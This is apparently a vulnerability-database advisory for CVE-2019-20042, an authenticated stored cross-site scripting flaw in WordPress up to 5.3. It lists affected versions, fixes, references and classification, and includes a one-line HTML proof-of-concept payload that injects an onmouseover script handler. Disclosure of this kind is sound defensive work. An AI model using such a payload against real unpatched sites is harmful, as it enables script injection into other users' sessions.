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WordPress Vulnerabilities

WordPress <= 5.3 - Authenticated Stored XSS via Crafted Links

Description

The function wp_targeted_link_rel() can be used in a particular way to result in a Stored Cross-Site Scripting (XSS) vulnerability.

Proof of Concept

<a href="#" title=" target='abc' rel= onmouseover=alert(/XSS/) ">This is a PoC for a Stored XSS</a>

Affects WordPress

3.8.1
Fixed in version 3.8.32
3.8
Fixed in version 3.8.32
3.7.1
Fixed in version 3.7.32
3.9
Fixed in version 3.9.30
3.9.1
Fixed in version 3.9.30
3.7
Fixed in version 3.7.32
3.8.2
Fixed in version 3.8.32
3.8.3
Fixed in version 3.8.32
3.9.2
Fixed in version 3.9.30
4.0
Fixed in version 4.0.29

References

CVE
CVE-2019-20042
URL
https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/
URL
https://hackerone.com/reports/509930
URL
https://github.com/WordPress/wordpress-develop/commit/1f7f3f1f59567e2504f0fbebd51ccf004b3ccb1d
URL
https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-xvg2-m2f4-83m7

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

Simon Scannell (RIPS)

Verified

No

WPVDB ID
23553517-34e3-40a9-a406-f3ffbe9dd265

Timeline

Publicly Published

2019-12-13 (about 3 years ago)

Added

2019-12-13 (about 3 years ago)

Last Updated

2021-06-29 (about 1 years ago)

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